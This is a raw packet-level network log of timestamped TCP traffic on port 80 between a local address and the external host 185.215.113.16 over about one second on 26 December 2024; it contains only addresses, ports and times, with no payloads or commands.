Dec 26, 2024 12:52:10.790584087 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.790615082 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.790680885 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.795401096 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.795491934 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.795629978 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.800271988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.800438881 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.800606966 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.805268049 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.805464983 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.805536985 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.810077906 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.810100079 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.810175896 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.814842939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.814985991 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.815068007 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.819855928 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.819875002 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.820122957 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.824609995 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.824702024 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.824812889 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.829438925 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.829473019 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.829564095 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.834387064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.834403992 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.834482908 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.839145899 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.839238882 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.839329958 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.844086885 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.844289064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.844357967 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.848860025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.849029064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.849143028 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.853698969 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.853851080 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.853928089 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.858892918 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.858908892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.858987093 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.863444090 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.863535881 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.863635063 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.868271112 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.868412018 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.868489027 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.873233080 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.873495102 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.873577118 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.903250933 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.903283119 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.903357983 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.906124115 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.906151056 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.906327009 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.909811020 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.909962893 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.910298109 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.914293051 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.914499044 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.914633989 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.918807030 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.919050932 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.919279099 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.923134089 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.923183918 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.923253059 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.927316904 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.927421093 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.927619934 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.931269884 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.931334972 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.931611061 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.935370922 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.935468912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.935836077 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.939074039 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.939178944 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.939238071 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.943118095 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.943175077 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.943413019 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.946572065 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.946614027 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.946670055 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.950064898 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.950225115 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.950275898 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.953651905 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.953769922 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.953845024 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.955604076 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.955645084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.955705881 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.957371950 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.957386017 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.957453966 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.959161997 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.959358931 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.959592104 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.961031914 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.961313963 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.961417913 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.962805033 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.962898016 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.962954998 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.964615107 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.964699030 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.964751005 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.966340065 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.966545105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.966618061 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.968122959 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.968535900 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.968611002 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.969744921 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.969861984 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.969935894 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.971447945 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.971676111 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.971770048 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.973169088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.973217010 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.973494053 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.974901915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.974978924 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.975085020 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.976731062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.976802111 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.976941109 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.978441000 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.978454113 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.978502989 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.980077982 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.980091095 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.980143070 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.981774092 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.981910944 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.981982946 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.983510017 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.983650923 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.983932018 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.985078096 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.985215902 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.985476971 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.986835957 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.986915112 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.987001896 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.988522053 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.988627911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.988822937 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.990237951 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.990420103 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.990683079 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.991930008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.991976023 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.992254972 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.993774891 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.993837118 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.994189978 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.995356083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.995537996 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.995623112 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.997051954 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.997189999 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.997255087 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.998873949 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.999021053 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.999102116 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.000413895 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.000499964 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.000546932 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.002350092 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.002372980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.002449989 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.003865004 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.003921032 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.004133940 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.005551100 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.005618095 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.005881071 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.007270098 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.007366896 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.007658005 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.009016037 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.009193897 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.009309053 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.010622978 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.010709047 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.010760069 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.012312889 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.012433052 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.012614012 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.023010015 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.023161888 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.023211956 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.023777008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.023874998 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.024287939 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.025922060 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.025978088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.026043892 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.027220011 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.027359009 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.027527094 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.029822111 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.113801956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.113861084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.113925934 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.114422083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.114444971 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.114483118 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.115561008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.115654945 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.115706921 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.116697073 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.116767883 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.116787910 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.117872953 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.117949963 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.118041039 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.119016886 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.119070053 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.119088888 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.120218039 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.120290995 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.120353937 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.121325016 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.121453047 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.121469975 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.122426033 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.122468948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.122504950 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.123545885 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.123615980 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.123635054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.124524117 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.124627113 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.124671936 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.125643015 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.125699997 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.125729084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.126677036 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.126738071 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.126791000 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.127751112 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.127799988 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.127823114 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.128808022 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.128958941 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.128973961 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.129842043 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.129910946 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.129962921 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.130888939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.130932093 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.130966902 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.131927013 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.132042885 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.132062912 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.132994890 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.133048058 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.133066893 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.133996010 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.134057999 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.134092093 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.134982109 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.135070086 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.135099888 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.136008024 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.136091948 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.136121988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.137015104 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.137119055 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.137178898 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.138032913 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.138108015 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.138237000 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.139225006 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.139277935 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.139352083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.140167952 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.140223980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.140292883 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.141107082 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.141175032 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.141175985 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.142174006 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.142319918 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.142342091 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.143127918 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.143253088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.143331051 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.144130945 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.144217014 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.144304991 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.145143986 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.145251036 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.145284891 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.146079063 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.146131039 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.146253109 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.147252083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.147310019 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.147538900 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.148439884 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.148503065 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.148559093 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.149230957 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.149272919 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.149333954 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.149996996 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.150072098 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.150085926 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.150677919 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.150743008 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.150803089 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.151283026 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.151335001 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.151410103 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.152060032 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.152199030 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.152199984 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.153000116 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.153125048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.153211117 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.153801918 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.153868914 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.153903008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.154705048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.154761076 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.154783964 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.155492067 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.155569077 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.155589104 CET	80	49842	185.215.113.16	192.168.2.6
